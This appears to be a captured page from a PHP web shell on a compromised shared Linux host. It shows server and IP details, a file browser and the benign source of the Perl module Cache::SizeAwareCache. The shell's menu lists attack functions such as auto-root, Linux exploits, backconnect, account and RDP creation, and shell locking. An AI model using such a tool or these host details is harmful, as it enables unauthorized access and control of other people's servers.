Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.171
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Cache /
[ HOME SHELL ]
Name
Size
Permission
Action
File
[ DIR ]
drwxr-xr-x
Memory
[ DIR ]
drwxr-xr-x
Null
[ DIR ]
drwxr-xr-x
RemovalStrategy
[ DIR ]
drwxr-xr-x
BaseCache.pm
14.73
KB
-rw-r--r--
BaseCacheTester.pm
2.76
KB
-rw-r--r--
Cache.pm
8.22
KB
-rw-r--r--
CacheMetaData.pm
5.73
KB
-rw-r--r--
CacheSizer.pm
3.94
KB
-rw-r--r--
CacheTester.pm
13.05
KB
-rw-r--r--
CacheUtils.pm
2.85
KB
-rw-r--r--
Entry.pm
8.37
KB
-rw-r--r--
File.pm
16.72
KB
-rw-r--r--
FileBackend.pm
14.06
KB
-rw-r--r--
FileCache.pm
7.17
KB
-rw-r--r--
IOString.pm
3.24
KB
-rw-r--r--
Memory.pm
9.64
KB
-rw-r--r--
MemoryBackend.pm
2.57
KB
-rw-r--r--
MemoryCache.pm
2.76
KB
-rw-r--r--
Null.pm
2.27
KB
-rw-r--r--
NullCache.pm
2.21
KB
-rw-r--r--
Object.pm
3.4
KB
-rw-r--r--
RemovalStrategy.pm
1.03
KB
-rw-r--r--
SharedMemoryBackend.pm
4.72
KB
-rw-r--r--
SharedMemoryCache.pm
3.4
KB
-rw-r--r--
SizeAwareCache.pm
3.04
KB
-rw-r--r--
SizeAwareCacheTester.pm
5.66
KB
-rw-r--r--
SizeAwareFileCache.pm
3.68
KB
-rw-r--r--
SizeAwareMemoryCache.pm
3.35
KB
-rw-r--r--
SizeAwareSharedMemoryCache.pm
2.55
KB
-rw-r--r--
Tester.pm
13.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SizeAwareCache.pm
###################################################################### # $Id: SizeAwareCache.pm,v 1.10 2002/04/07 17:04:46 dclinton Exp $ # Copyright (C) 2001-2003 DeWitt Clinton All Rights Reserved # # Software distributed under the License is distributed on an "AS # IS" basis, WITHOUT WARRANTY OF ANY KIND, either expressed or # implied. See the License for the specific language governing # rights and limitations under the License. ###################################################################### package Cache::SizeAwareCache; use strict; use Cache::Cache; use vars qw( @ISA @EXPORT_OK $EXPIRES_NOW $EXPIRES_NEVER $NO_MAX_SIZE ); use Exporter; @ISA = qw( Cache::Cache Exporter ); @EXPORT_OK = qw( $EXPIRES_NOW $EXPIRES_NEVER $NO_MAX_SIZE ); $EXPIRES_NOW = $Cache::Cache::EXPIRES_NOW; $EXPIRES_NEVER = $Cache::Cache::EXPIRES_NEVER; $NO_MAX_SIZE = -1; sub limit_size; sub get_max_size; sub set_max_size; 1; __END__ =pod =head1 NAME Cache::SizeAwareCache -- extends the Cache interface. =head1 DESCRIPTION The SizeAwareCache interface is implemented by classes that support all of the Cache::Cache interface in addition to the limit_size and max_size features of a size aware cache. The default cache size limiting algorithm works by removing cache objects in the following order until the desired limit is reached: 1) objects that have expired 2) objects that are least recently accessed 3) objects that expire next =head1 SYNOPSIS use Cache::SizeAwareCache; use vars qw( @ISA ); @ISA = qw( Cache::SizeAwareCache ); =head1 CONSTANTS Please see Cache::Cache for standard constants =over =item I<$NO_MAX_SIZE> The cache has no size restrictions =back =head1 METHODS Please see Cache::Cache for the standard methods =over =item B<limit_size( $new_size )> Attempt to resize the cache such that the total disk usage is under the I<$new_size> parameter. I<$new_size> represents t size (in bytes) that the cache should be limited to. Note that this is only a one time adjustment. To maintain the cache size, consider using the I<max_size> option, although it is considered very expensive, and can often be better achieved by periodically calling I<limit_size>. =back =head1 OPTIONS Please see Cache::Cache for the standard options =over =item I<max_size> Sets the max_size property (size in bytes), which is described in detail below. Defaults to I<$NO_MAX_SIZE>. =back =head1 PROPERTIES Please see Cache::Cache for standard properties =over =item B<(get|set)_max_size> If this property is set, then the cache will try not to exceed the max size value (in bytes) specified. NOTE: This causes the size of the cache to be checked on every set, and can be considered *very* expensive in some implementations. A good alternative approach is leave max_size as $NO_MAX_SIZE and to periodically limit the size of the cache by calling the limit_size( $size ) method. =back =head1 SEE ALSO Cache::Cache =head1 AUTHOR Original author: DeWitt Clinton <dewitt@unto.net> Last author: $Author: dclinton $ Copyright (C) 2001-2003 DeWitt Clinton =cut
Close